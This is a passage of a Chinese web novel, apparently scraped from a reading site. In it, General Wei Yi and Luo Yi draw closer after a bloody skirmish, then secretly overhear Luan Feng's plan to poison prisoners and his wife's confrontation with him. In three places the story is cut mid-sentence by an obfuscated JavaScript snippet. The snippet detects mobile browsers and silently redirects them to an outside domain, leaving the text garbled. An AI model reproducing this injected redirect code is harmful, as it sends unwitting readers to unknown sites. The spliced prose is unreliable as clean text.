这个时候,韦祎就清楚应该往左让一步,躲开喷涌而出的鲜血,全喷到了栾凤身上。 既然韦祎动手了,韦祎带来的张丙乙等人原本站在郡守府大门里观望,如今也都跳出来砍人。 “现在该我上了,罗小姐你看着小祖宗。”钱氿跳到了大门前,摸出弩箭瞄了一下子,发现战场太近,弩箭不好用,只好抢了把刀,跟着打起来。 场面还挺血腥。 不过,为首闹事的已经死了,其余人也没有什么心思再闹,很快就全都缴械投降。 罗易心情复杂,倒不是因为看见了这种场面,而是因为,自从钱氿加入战斗,云攸纾就扑到了她的怀里,紧紧抱着她,把脸埋起来。 那双刚刚沾了泡脚气盐湖水的手,抓着罗易的脖子。 韦祎没有再加入战斗,他关注着罗易和云攸纾这边,此情此景,感觉自己的脖子也难受了起来。 “啊!子隽!” 此间事情了结,不停咳嗽打喷嚏的柳爚和一身血淋淋的栾凤两人一起收拾残局,同样一身血淋淋的钱氿拖着晕倒的云攸纾去房内安顿休息。罗易冲到自己的房间里,麻利地把外衫扯下来卷着腰带随手一扔,倒了一盆水洗脖子。 韦祎觉得罗易需要安慰,就跟了过去。 “我要去找郎中开点预防皮肤病的药吃一吃。” “你想,盐湖说不定真有治病的作用,平焕只是摸了一下水,之后过了那么久,才摸到你,应该不会有什么大事的,你放宽心啊。” “我当然知道不会那么容易传上,但那里面不仅泡了脚气,还泡了花柳病呢,不会传染也够恶心的!” “你看看我,我家里还用过官府发的白沙盐,那个湖里产的。” 一起比惨,痛苦减半。 对罗易来说并不够。 罗易从水盆里抬起头来,韦祎视线所及,罗易的衣裳前襟都被水打湿了,曲线鲜明。 “你要不要换件衣裳,外面正乱,别着凉了。” “子隽,你说,被你杀的那个丕州军官,说不定是真的想要为长史讨回公道,他应该是定沙郡的军户,如今受辱而死,他的儿子就要替他从军,不知道要有多少折辱等着他呢。” “唉?” 看罗易一脸坏笑就知道,因为她自己不爽,所以偏要这么说,让韦祎也不爽。 “确实如此,不过他死都死了。”韦祎说。 正说着,发觉罗易向着自己的方向上前一步,伸开手扑过来。想躲开也能躲,不过,没躲,让罗易扑个正着。 按照身高,罗易的额头正贴到韦祎的锁骨附近,刚才她目测了一下,如果韦祎不想,自己绝对亲不到韦祎的脸,所以退而求其次,抱一下子也可。韦祎伸出手来环绕过去,拍一拍罗易的背,“多谢,出来这一路,让你跟着冒险了。” “韦子隽,你是不是把手上沾的血抹在我衣服上了?”罗易埋着脸,闷声问。 探出头看一眼,还真是。因为剑上有血,所以手上也沾了不少,黏糊糊的没来得及洗。罗易雪白的里衣后背上沾着一个大血手印子。 “是……” “看在这里有洗衣工的份上,我就不追究了。” “嗯……”既然已经沾上了,那就不妨再多沾一点,所以韦祎想了想,继续把手放在那,“你真的比平焕高啊,我一直以为是他只是看起来矮。” 人扑到怀里,就能更直观地看出来身高,罗易可以够到锁骨以上,但云攸纾只能够到肩胛。 “那当然了。”罗易有便宜可占就继续抱住不动,反正此时穿着湿的衣裳正冷,“我以为你会躲开。” “不用这么以为,我都不介意平焕扑过来。”难道要在这么暧昧的场景里讨论那个熊孩子吗? 下一句,罗易就转换了话题,“真的可以不在意杀了人?” “做了这么多年的将军,杀了的人都要介意一下子,我就不用活了。在我看来,诀窍就是杀了之后不要总想着。”韦祎回答,“你有什么诀窍分享,你谋划杀人不是挺熟练吗。” 罗易笑了两声,假怒道:“我可是被刚才的血腥场景吓到了,你就这么安慰我?” “哈,我以为你扑过来是为了安慰我呢!我被刚才的血腥场景吓到了!” 于是罗易也拍了拍韦祎的后背,“不怕了啊,都会过去的。” “都会过去的。” 同叹了口气,安静站了一会儿。 直到响起敲门声,是秦琼在外面:“小姐,没事吧,受伤了没有! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14894755|152805||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 罗易把头抬起来,扬声:“没有,先等一下!” 抬头看着韦祎的眼睛:“同样都是叛军作乱,你对周冲就放他好几次,对这个不认识的军官就格杀?” “我想,因为我双标?”韦祎摇头笑答。 “好了,子隽,平焕摸了盐湖水,然后他蹭到了我身上,现在我也给蹭到你身上了,大家有难同当!”说着就把韦祎给推开,“你也回去洗洗手吧!” 比恶心,怎么能输? “喔,我还疑惑你刚才为什么要目测距离!你就是也想抹到我身上来?真要说这个,我吃了好几年湖里产的白沙盐,说不定我与那个恶心盐湖的联系远超你和平焕呢,现在传到你身上了。” “别说了,我认输。”罗易一边笑一边捂住耳朵,把韦祎送了出去,把门口的秦琼和朱愈迎进来。 这两个人在门口,看到韦祎跟他们点个头就走了,随后进到屋里,看到只穿着一件湿透的里衣的罗易,等罗易转过身去,又看到了罗易身后一个血手印子。 秦琼:“看来,小姐对韦将军下手了啊。” 朱愈:“不是早就下手了吗?不会今天才成功吧!早知道我们就不来打扰了。” “到今天也没成功,正人君子啊!”罗易不介意这两位在屋里,自顾自走到屏风后面脱掉衣服找一件干净的换上,一边换衣服一边说。 “小姐这次是认真的?” 二人对视一眼,秦琼出声问道。 “先看看吧,你们给我把心放下来,你们还有我在东海的一切都排在子隽前面,可以了吧。”罗易保证道。 “就算清楚小姐心里有数,还是忍不住要担心啊,嫁到了簪缨氏族,人家瞧不上咱们这些贩夫走卒可如何是好?” “你们还不了解我吗?不会吃亏的。” “以韦将军的听力,院子也不大,他应该能听见我们在屋里说了什么。”朱愈提醒道,这么大声音说这话真的好吗? “听到就听到,对了……” 韦祎确实很被动地听到了这段话,因为屋内的罗易是隔着屏风说话,不自觉把声音抬高了一点。 首先为自己意外听到了别人说话愧疚一下,随后竟然想到,和罗易这样的人交往,竟然很轻松,不是传统意义上的大家闺秀可真好,各方面都没有负担,甚至有机会吃软饭! “我其实是想吃软饭吗?”怀疑人生。 此时,韦祎正站在院子里与钱氿说话,说是要找个郎中给云攸纾治疗一下,总晕倒可不成啊!罗易在屋子里,说话声音又不小,看钱氿的表情,他也能听见。 “不会吧,发展的这么慢,只是抱了一下子?”秦琼震惊,这速度可不是自家小姐的一贯作风。 “您都这样了,就拥抱就完事儿了?韦将军他,身体康健否?” 罗易看面前这两位是不准备说正事了,于是也聊了起来:“呵,谁知道呢,说不定再过个两三年我就能验证一下子了。”又对着朱愈笑道:“我还当着你的面换衣服,你不也没怎么样?” “哈,小姐您若是有需要,也不是不行。” “得了吧,我真把你给怎么样了,你那个卖毒药的相好小少爷又该找我的麻烦,我可不耐烦哄着他。” 钱氿的表情很精彩,站在钱氿对面的韦祎,表情也很精彩。 韦祎:“他还真是!为何我身边这么多断袖?比例这么高?” “可能因为大家不介意告诉您。”钱氿帮着分析,“在别人面前,就隐藏起来了。” 说完,猛咳了一声。 立刻,罗易那屋的门被拉开,朱愈一看,果见韦祎和钱氿站在院中一脸八卦。 解释道:“韦将军,钱将军,是卖真的毒药,钩吻、天仙子、鹤顶红这些罢了,不是卖禁药,二位放心,没有违背法纪。” 等他关上了门,韦祎小声问:“难道卖毒药合法吗?” “不知道。听他这么说,卖毒药竟然合法?” “我们现在也不是京城城防军了,所以……” “所以我们不用管它合法不合法。”钱氿得出了结论,“中郎将最近看开了很多啊!” 75. 听弹琴 “出门来要看开,毕竟有很多不可测情况出现,你也听说过吧,上次我出征。” “大获全胜,但一起出征的所有将领都被害死了,元帅承王全家被流放。”钱氿摊手,“大家都知道。您觉得这次会怎么样?” “我觉得这次已经开始走背运了。”韦祎想了想,“你们都知道,竟然还愿意和我一起出来。” 钱氿仔细想了想该怎么回答才不会伤害到这位中郎将的情绪:“放心,我若是死了也不会托梦吓您的。” “快闭嘴吧,把你这一身黏糊糊的血洗了。”韦祎溜了。 “我也想,不过,根据猜拳的结果,我排到了最后一个去烧水洗澡,等到那时候这一身都会风干了。我现在正想着趁还没风干把它蹭到别人身上去。” “你比他们几个高好几级,就不能插个队?” “不了,不了。” 很快,韦祎就看见了满头都是血迹的栾凤正在忙,血迹已经干在脸上身上了。 “子隽,多谢你救我一命,如果你让他喷血的时候换个方向就更好了。”栾凤一边指挥衙役们抬走尸体清理地面,一边布防,一边用手去抠干在脸上的血迹,“我一定是对这玩意过敏,为什么这么痒。” “你不可能对人血过敏,你身体里也流着人血呢,过敏早就活不成了。“韦祎不想让栾凤把身上痒这件事怪到自己头上来,“风干在身上就是会很痒,等会儿去洗了就好。” “灌进我头发里的血已经结块了,真能洗掉?” “按我的经验来看,你泡得足够久,就不用剃光头。”韦祎回答。 “灵均,不如你现在去洗,这里我来收尾。”柳爚看着满头都是暗红色的栾凤也觉得不太舒服,这会让她想到不久之后栾凤就要真的死了。 “你患了风寒才应该休息,快回去吧,这里有我就可以了。”栾凤也想把柳爚打发回去,太多人都认为他过于依赖妻子。 “好,这么多人关牢房是不太可能,我看还是把他们关回驻地那座宅子,缴械即可,等州里发落。” 瞄一眼脸色越来越黑的栾凤,“走吧,小爚姐,我扶你回去休息。”韦祎把柳爚给拉走了。 有件事需要坦白。 刚刚经历了情场得意,现实中的麻烦仍然存在。 “如果刚才我救灵均晚一点,他就会被那个想杀他的不知道姓甚名谁的丕州军官砍死,这样你们就不用再谋划杀他了。” “咳咳!这个事情啊,咳!没有关系,他没死成我竟然有点庆幸。”柳爚一边咳嗽一边说。 倒杯茶给她,又把火盆端回来烤着。 “长史的案子你们可有什么发现?”大家乱成一团,没有人抽出空去管留在湖边的仵作、捕头和长史。 说到这个,就有更多事情需要坦白了。 “其实,他很可能是被我认识的人杀的……” 柳爚从擦鼻涕纸里面抬起头来,“是我因为发热而脑子不清醒,还是说,昨天晚上,看完了那位倒霉公主之后,长史与灵均一起在外面,遇见了一个很可能仇视你们的并且与间谍有关联的叛逃将官,然后长史就死了,长史带的人就出现了暴动,想要攻陷郡守府?” “我猜,你比我清醒。” “灵均就是最后一个见到长史的人?”得到肯定答案之后,柳爚觉得自己发热更严重了。 “如果事情有想象中那么糟糕,暴动也不是纯粹的暴动。” “昨天晚上一定发生了一些需要我们知道但我们还不知道的事情,我去安排人手打探一下,你保护好倒霉公主倒霉王爷,有变动我就告诉你。”柳爚现在真的认为昨天早上应该穿更多衣裳,这次的风寒患得太不是时候了。 从柳爚那出来,回到客院,正遇见客院的主管侍女,“姑娘,今晚多送一份晚餐到罗小姐房里,不用给我送了。” “喏。韦将军。” 过了一会儿,罗易看着满桌子晚餐问:“今晚要吃这么多?” 华阳的厨师做菜确实不错。然而,每次都太大份,看起来就很有负担,今天的菜量是平时的两倍! “韦将军说他晚上来您这里用餐。” “那好吧,多谢。” 韦祎去换了身衣服,到了罗易房里吃饭。 罗易端坐在一桌丰盛的晚餐后面,“整只烤鹅,不是吧?” 若是分开吃,厨房会把烤鹅切成片,分装进盘子里送到各房。既然今晚表少爷要和未来的少夫人共进晚餐,当然要更隆重,所以上桌整只大烤鹅。 “我也没有想到会送这么多。” 除了烤鹅,有四大冷盘,四大热炒,一大钵肉羹汤,一大盆糖蒸麦饼。 韦祎动手把烤鹅切了,一人举一只烤鹅腿在啃。 “怎么想到要过来吃晚餐,有什么事情要说吗?” “我刚才去看了平焕,还在昏迷,已经灌药下去了,芜夙在吃饭,她也有半只烤鹅。所以,我想,我应该过来一起吃。” “路上不是一直一起吃饭吗?”罗易感觉很奇怪,而且这顿超大份的晚餐也挺有压力的。 “说的也是,你是东海人,丕州的盘子至少比沥州的盘子大三倍。”韦祎想到了,在东海的时候,那边的菜肴看起来就很饿,华阳的菜肴看起来就很饱。 总觉得对面的罗易神情有些怪,“你若是不开心这样,下次就不送过来吃。” “恰恰相反,虽然不合时宜,但我今天心情不错。” 死了那么多人,跳出来说自己心情好,像个变态。 从饭送来,罗易就猜着,也许是韦祎内心里默认情人就要一起吃晚饭,所以特意把晚饭给送过来了。 两个多月没突破的事情今天忽然有了大进展,反过来让罗易觉得不太适应。 “怎么今天想开了?”等吃过了晚餐,放下筷子,罗易问,“我以为你会一如既往地拒绝呢。害我吓了一跳。” “可以看出来,都过了两个时辰,才想起来问我。”韦祎回答,“我就计划着突然同意可以吓到你。” “就为了吓到我?”罗易站起来了,“是否介意再回答一次?” “去花园走走,让她们进来收拾桌子。” 罗易起身与韦祎一同出门,并肩往后园走,郡守府的后园有一个不大的人工湖,湖里种了点不太茂盛的荷叶,有湖心亭,隔岸有一座水榭,夏天纳凉用的。围绕着人工湖种着好多杏子树和海棠树,地上种着月季花和菊花,一大片都是一样的,可以看出主人家没在园林上花时间。 秋天,菊花正开着。 两个人并肩走在这座不怎么样的园林的小路上,中间隔着一尺的距离。平时也常有一起出门的时候,但今天的感觉格外奇怪。 若是罗晏泄密再多一些,罗易就会知道,远在京城的韦寅和柳不寒两个人,只要是没有忙得废寝忘食,晚餐后都会一起出门散步,几十年如一日。 在韦祎的印象中,情侣就应该出门散步。 “你记得我那儿的西别院吗?才修了没几年,家里不够住了,我就把邻居宅子给买了下来,全拆了推平,重新整修成那样子。”转头看看四下无人,才压低了声音说,“景致比这里好多了。” “记得,渔甫他们住那边,你不住在那边。为何花了大力气整修自己却不搬进去。” “修建别院就是给他们单独住着方便,他们留宿的时候比回家的时候还多,这样大家都有自己的空间,我搬过去干嘛?” “懂了,高级员工宿舍,所以你不能住进去。” “更主要的原因是我懒得搬房间。”罗易说,“你还要不要回答你为什么今天同意了。” “你的才能超群,比较善良,受拥戴,处理事情的方式虽然危险但有效,所做所想绝非俗人,基本没有可挑剔的,经人提醒,我才发现了我待你与众不同,所以我也不能放弃你给的机会。” 也就这两天,韦祎想起来,都过去五年了,一直没有再接触什么女子。柳家一派的作风与绝大部分书香门第、官宦世家都不同,看柳爚和栾凤这一对儿就知道了,婚后会有多么严重的龃龉。韦祎若娶个寻常的大家闺秀,要过对牛弹琴的一辈子。 在京都城里巡街的几年,听说过不少可怕的事情。 有一普通市井人家的妇人,一直没有怀孩子,而她的丈夫又不愿意休妻再娶,更没有钱纳妾,所以这妇人对生不出孩子来更加愧疚,为了让丈夫再娶别的女子生孩子,上吊自杀了! 韦祎当时觉得这一定 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14948325|152805||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是伪装成自杀的他杀案件,等着找捕头继续查案呢,表现得更关心了一点,结果刑名师爷非常惶恐地来找到钱氿,询问妇人是不是韦将军的亲戚朋友,他完全有能力把案件结果查成韦将军想要的样子。 至于那位自杀的妇人呢,能给夫家生出来儿子才是大事,生不出来羞愧而死也正常,没有疑点。 想象一下,和这种“寻常”女子、“寻常”男子打交道真是吓死人啊!罗易就不“寻常”,绝不会把那些糟粕放在心上,也许更像外祖母柳凿,是巾帼豪杰。 之前猜罗易会觉得孤独,韦祎自己何尝不孤独? “看来我也被表扬了,多谢夸奖。”罗易觉得韦祎夸的很对,欣然领受,“那我们往回走吧,出了这么多事,我猜今晚不会风平浪静。” 这么一说,韦祎的焦虑神经也紧绷了起来。 也没到“谈情说爱”的那个地步,但是,这会儿真不是谈情说爱的好时候。 就没赶上好时候,守着尸体表白,沾着人血相拥,写进话本里就是两个大魔头。 往回走的路上,“我对符怜她们保证,东海的一切都排在你前面,你对此没有意见?” “这是应该的,我没机会雪中送炭,就更不能釜底抽薪给你捣乱,有幸锦上添花最佳。再者说,你照顾好了你的事业,我就有那么一点吃软饭的机会了。” “原来如此啊。”罗易坚持了一会儿,未果,仍旧笑得肩膀不停抖动,“我把机会给你留着。” 既然分析得知,栾凤才是最后见到死掉的长史的人,但栾凤和栾凤的亲随们显然不是个好的突破口,他们就算知道了真相也不会说出来。就只剩下长史那边,也许还有长史的亲随没有死在下午的动乱中,找他们询问,就离事情的真相更近一些。 暮色昏沉,连夜去汤饼街大宅查访也便宜。 “带我一起去吧。” “哎?” “总比带着平焕要好,他昏迷没有醒。”罗易怪声怪气,“人家一个弱女子也想看看热闹嘛!” “你在练习如何对灵均说话吗?” “正是,防备等会儿会遇见,先练练。再说,我还是跟你去比较好,省得你半夜回来之后敲我的房门给我讲一遍。” “无法反驳。”这段时间总是找罗易出主意,她这么说根本没有错。“那就走吧,汤饼街不远,宅子里交给钱氿也不会出什么事。” “我猜这会儿终于轮到他沐浴了。” 一盏茶的时间之后,他们在客院的石凳上看见了钱氿,“喔!你保住了头发!” “当然,泡了半个时辰的热水,终于把结成块的头发梳开了。” “你为什么蹲在石凳上?太阳都落了,不冷吗?” “泡进热水里整整半个时辰您也会觉得很热,回头可以用这件事教训那些新兵们,一定要戴头盔。而且,又轮到我值班。” “我们出去一趟,这儿就交给你了。” “得令。需要我了解二位要去做些什么吗?” “总之和你想象中不是一件事。” 走到了汤饼街大宅附近,能看到整个大宅周遭三步一岗五步一哨,还有一大队围绕着宅子巡逻。 “往这边走。”绕了半圈,发现院墙边上长着几颗大树,站岗兵自然地被这些树隔开了视线。 “不准抓我领子,也不准勒胳膊。”罗易先行防范。 “来。”韦祎一边摇头一边伸手示意,把罗易抱起来,“冒犯了。” “这还凑合,原来你也会抱人啊。” “如果拥有把外甥摔在地上又踢了一脚的经验,定能牢牢记住如何正确的抱小孩。” 初次抱小孩是表姐的孩子,十六岁的韦祎没想到外甥会突然在襁褓里鲤鱼打挺,从怀里窜出去之后,下意识地用膝盖去接着…… “喂!我可不是小孩!” 小声说话的当口,两个人已经翻过了院墙,稳稳落在大宅内部的隐蔽处。 “会被发现的。” “我带了腰牌和文牒,被发现了就给他们看。” “为何不直接从大门进来。” “这个,”韦祎不想承认,他只是在避开与陌生人搭话。“既然已经进来了,别想这些。” 76. 隔墙耳 按照柳爚的说法,为了不引起这些兵卒更进一步的反抗,内部的守卫没有太紧张,暴动士卒们缴械之后关进了各个房间,宅子内部有稀疏的巡逻。 不用太担心被发现。 而长史手下的亲随们,被监禁在宅子的正房当中。 连藏都不藏,走到正房附近,“你有没有觉得,这座大宅里格外嘈杂?脚步凌乱,到处都是窃窃私语。” “我可听不出来,大家都被关在房里,不知道会被如何发落,按律,暴动士卒难逃一死,紧张焦虑是正常的。”向前走的罗易忽然发现身边并肩同行的那人不见了,换成她紧张,急忙转头四处看看。 头顶上伸出一双手,勒着她的胳膊把她提上了房顶。 “悄声。”韦祎给罗易指了个方向,正房前面,一行十几个穿着黑色斗篷的人打着火把走进了房内。 他们是从正门进来的,也没别人能从正门进来,只有可能是郡守府的。 要不要躲起来?韦祎身体反应比脑子快一点,已经拉着罗易躲好了。 “估计是栾大人,他们为何要穿成这样?” “正是灵均。”为首的黑斗篷在房里说话,那是栾凤的声音。 “是谁先把晚饭给派出去的!” “回郡守大人,晚饭送早了,这儿的看守怕饭菜凉了,等了一会儿见我们没有传信,就把饭给派出去,现在连空碗都收走送去洗了。” 可能是被气急了,栾凤竟然苦笑了两声:“一群暴乱的叛军,给他们送晚饭倒是挺积极啊。” “那,我们可以把药下在明早的饭里?” “夜长梦多,这事若让夫人看出端倪来,必要出手阻挠。” “大人这是办正事,大人的前途就是夫人的前途。” 听到这,栾凤冷声制止:“若她知道我的前途就是她的前途,很多事情都好办了。” 这几个人一番商量,最终决定,先不毒那些小兵,今晚抓紧时间给正房关着的高级军官灌下毒药。 “他们关在哪?正房一点声音都没有。”韦祎正在正房的房顶上呢,屋里就只有栾凤那几个人,是可以分辨出来的。 在密室里。 这房子竟然有密室,推开正房的多宝阁,是通向地下的一条台阶。 “怪不得这房子的后墙这么厚,原来藏了一条通道。”从房檐下倒挂下来,透过窗户缝隙,看见了栾凤带着六个人,端着水桶和水碗走下了台阶。而剩下的六个人从房里走了出去,说是要巡视查看其他在押的士兵。 “下去看看,”韦祎问,“你……” “我跟你下去,在房上蹲着我连动都动不了,这儿的人也不认识我,一旦被发现,我小命不保啊。” “那走吧。” 把窗户推开,翻进去,顺着密道走下去。 密道挺人性化,每隔五步就有灯盏照亮。 “被发现了怎么办?”罗易鲜少参加这种秘密潜入的活动,此时不知是新鲜还是害怕。 “能说上话,就打个招呼?”韦祎此时也在犹豫着,被发现了怎么办。完全不熟悉的密室里头,很有可能无地躲藏。“这从前是个商人家的宅子,为什么还会有密道啊?” “有钱,秘密就多,就没有安全感,多倒腾些地方来藏东西、藏人,总是没坏处。”罗易回答,“我家也修了密室和密道,以后有机会带你参观。” 向下的阶梯很快走到尽头,这地下的密室可真够大的,有时间差,站在密道口的两个人根本看不到栾凤一行人的身影了。 刚才下楼梯时,一直想着,若是走到下面只有一个四四方方的小房间,大家站在里面无处藏身大眼瞪小眼,尴尬死了。 眼前是一个像客厅一样的地方,挂着画,头顶上悬着纱灯,四角处摆着书架和装字画的大瓶,中间还有一张方桌。 三面墙上各有一条通路。 “子隽,若是我没有看错,这幅画是三国时曹不兴的真迹!”用极低的气声发出感叹语气有点好笑。 “这是……烂水果吗?”韦祎走过去看了一眼,立刻移开视线,这里面有一篮水果和一群苍蝇,“画得真像。” “这画我也没听说过,不过,曹不兴以写实著称,主要看这里的署名和印章,是未现世的真迹。”罗易表情变了,“猜猜这画值多少钱?还有对面这一副,这画不知是谁的,不过题字却是南朝羊敬元的。只要有这字,就值这个数。”罗易伸出两根手指头比一比。 “二百两?” “什么啊二百两?你太瞧不起古董了,二万两!” “幸好我没猜二十两。那个苍蝇图呢?” “名家手下未现世的作品啊,若是他好好运作一番,能卖个天价出去。” “现在,我希望这宅子和灵均没有什么关系,不然问题就大了。” 若是贪污贪来的,数目不小,够他死好几个来回。 左边和正对面的两条通道里没有任何声音,应该不会是关押军官的地方。 走进右侧的通道,往里走几步,道路开始分叉,墙上有灯台,借着光看一看,“先声明,我家的密室绝不是这个样子的!”罗易说。 空间被墙面和铁栅栏隔成一个一个小的房间,里面堆着些稻草、残破的木桶,显然是一处地牢。 “私牢?” 能听出来栾凤他们走在哪个方向,但为了不打照面,韦祎和罗易绕开了,迂回靠近。他们俩经过的一排牢房都没有人,关着人的一排,在栾凤那边。 突然来了一群人,非要按你的头让你喝水,你也不会喝的,显然这水里有毒药,这些将官们都不是胆小的,闹了起来。 栾凤只带了六个人下来,哪敢把牢房们打开?就仗着这群将官被关在牢里出不来,才敢隔着牢房互相叫嚣。 反正,栾凤不知为何要灌毒药的计划执行不下去,韦祎索性就不露面了,与罗易一起隐在拐角的阴影里偷看热闹。 “子隽,子隽。”罗易推推韦祎,示意他低下头附耳过来。 低下头附耳过去,“子隽,你觉得我漂亮吗?”问完了,还要神采奕奕地挑挑眉。 这种时候聊这个? 端着谴责的眼神猛点头。 罗易又凑过来,“刚才你夸我的时候,没提到这一点。” 韦祎转而让罗易附耳过来:“你看我漂亮吗?” 长久的沉默。 打见面开始,韦祎就没能展示出什么玉树临风英俊潇洒来,中间还有肿成猪头的时候,后面又是风尘仆仆没法沐浴,离“漂亮”相去甚远。 反观罗易身边的其他人,殷涿、朱愈、云栖,各有各的好看,顶级美人一对比,不能违心地说韦祎长得好看。 看到罗易明白过来,韦祎眼神示意,我夸你漂亮你又不能夸我漂亮,算了吧。 一阵急促且伶仃的脚步声,裹着股药汤味的风:“住手!你们在做什么!” 拐角后面贴墙站着的韦祎和罗易一起往里挪,防止被来人看到。 “这不是小爚姐吗?我们为什么还要躲?” “直觉告诉我要继续躲着,往里挪挪。”韦祎说,这个时候跳出去总觉得不太对。 “夫人好。”几个随从见了来人,纷纷低头。 “四姑娘。”栾凤两条英气的眉毛扭成一团:“你为什么在这里?” “有心思问我为何在这里,不如你先说说看,这桶里是什么,你又为什么要这么做?”柳爚咳嗽声不断,断了好几次才说完这句话,说完了,更是咳得弯了腰。 “他们为什么会放你进来,你不应该知道这里。” “只要你能进的地方,我都能进来。灵均啊,这宅子这么久都卖不出去,太怪了。你不想让我知道这个地方,是因为门口挂着的两幅古画,还是因为左边的房间里那几箱马蹄金?” 隔着墙偷听的两位感觉到,剧情变得刺激起来了。 说到这,栾凤喝了一声:“都给我出去!” 柳爚是一个人来的,没有随从,栾凤带来的六个人立刻应喏离去。再往旁边一看,牢房里关着的一溜将官都睁着眼睛,趴在门边,安安静静等着看夫妻吵架呢。 “你疯了!那不是我的!”栾凤狠狠地瞟了那些人一圈,让他们回避?不可能,他们被关在这里。“你跟我来!”上前去拉着柳爚的胳膊就往里走。 墙后躲着的韦祎和罗易只好跟着移动。 罗易虽然觉得新鲜,但冷静依旧,脚步控制 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|14955491|152805||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的非常轻盈,稳稳当当。 “昨天晚上发生了什么?能告诉我吗?”柳爚的语气变柔和了,但声音不柔和,她这两天咳得嗓子都哑了,说话像是两片砂纸在摩擦。 “我的事情你不需要知道,你只要知道我做这一切都是为了我们两个就行了!”既然到了僻静的地方,栾凤就把柳爚的手给甩开了,通道狭窄,柳爚的手砸在了墙壁上,砰地一声,听得这面墙后面得韦祎眉头一皱。 不过,柳爚没有呼痛。 她笑了一声。 “你……四姑娘,我不是故意的,你没碰疼吧?”栾凤似乎往柳爚的方向走了一步,有些手足无措,而柳爚站着没动,也许是摇了摇头。 “你不想说,你就听我说一说。”柳爚夹杂着咳嗽声,“长史,不是你杀的。” “当然不是我。” “昨天的夜里,你、子隽还有长史一起去客房见了那位公主,她什么也没告诉你们,子隽没有送你们出去,是你和长史两个人出去的,手下的人都等在门口。长史有话要对你说,让你送他几步。” “你当时不在。”栾凤有些难以置信,“你当时不在的。” “对,我不在,所以,长史对你说了什么,我不知道。”柳爚继续往下说,“半路上,你们遇见了一个独臂的蒙面杀手,东南口音,他让你下马跟他走。长史听见了,就拔了佩刀要跟他打,长史年迈,早不复当年之勇,立刻就被人给杀了。等到后面的随从赶到时,独臂的刺客已经不见踪影。你扶着长史大人,把他的随从给打发了。” “你从哪里听到的无稽之谈,我昨夜与长史分别时他好端端地。” “你派人,把长史的衣裳给扒光了,扔到了盐湖里。不提你是一方父母官,就冲着长史是为了救你才死的,你也应该把长史给带回来,查清了案子,抓了歹人。结果你呢,你想起了白日里长史对你摆架子,往年又多有刁难,你便趁势糟践他的尸身?” 说到这,栾凤可算反应过来,柳爚绝不是靠着跟踪或者打听得知这一切,她知道的太详细了。 “栾有徳呢?刚才我要带他一起来,没找见他,他儿子说他是窜稀,一会儿就跟上来。他人呢,他和你一起来的?” “没有。”柳爚失笑,“栾有徳,华阳郡守府内文书官,你家管家的儿子,比你大三岁,自小跟着你,陪你读书,你待他不薄。还有个栾有福,和你同岁,都是与你一起长大的佣人,如同亲兄弟一般。说起他们两个,你昨夜抛尸,今日下毒,他们两个前因后果一清二楚,你就不怕他们去州里告你?” “你刚才已经说出了答案。他们两个自小在我栾家长大,和我亲如兄弟,原本只能做佣人,我把他们带来华阳,他们便当上小吏,我待他们万般好,怎么可能背叛我?四姑娘,他们在哪儿,你见到过吗,他们什么时候来找我?” “别等了,他们不会来找你的。” “你杀了他们!”栾凤看到此时此刻似笑非笑的柳爚,心里浮现了这个答案。“四姑娘,你不是这样的人。” “我没有杀他们,他们两个只是做了亏心事,心里过意不去,自己了结了,好歹落个全尸。说起是什么样的人,我也不记得我的灵均,是个在密室里堆成箱马蹄金的人啊,他为人正直,笃信律法,不会去泄愤抛尸,更不会去给无辜之人灌毒药。” 听到这儿,韦祎感到身边那人把手伸了过来,摸到了自己的手,抓紧。罗易记得,韦祎说,栾灵均是他位数不多的好友之一。 转身,看看罗易,摇摇头。 有人安慰当然是好事,但不知为何,听到了栾凤的所作所为,竟然没有太难过,于是也就显得这次的安慰有些受之有愧。罗易一耸肩,一副“你拿我没办法”的表情,手不松,抓得更紧了。 她这是趁机占我便宜啊,韦祎想。手上什么东西冰凉的触感,低头一看,是罗易腕上碧绿的手珠。 这里与柳爚栾凤所处的地方只有一墙之隔,墙两边是通的,不方便说话。指一指手珠,在罗易手上写字:“贵吗?” 罗易狐疑着伸出两个手指头比一比。 这是二百两啊,还是二千两啊?有了刚才给画作估价的经验,罗易比的这个一模一样的二,难倒了韦祎。 77. 刀兵现 罗易抓来韦祎的手心,写:“两串铜板,地摊货。” “你身上怎会有地摊货?”韦祎写字提问。 “卖手串的小姑娘说这是翠玉的,卖不完她爹就不让吃饭,我和符怜买了几串。”大概是这个意思,交流方式过于低效。韦祎可以用束音成线的方式说话的,但罗易不会,那样就显得不对等了,所以也用写字的。 “我猜你是被骗了。” “我知道这是石头,图个好看,戴着不用怕碰坏了。” 正好! 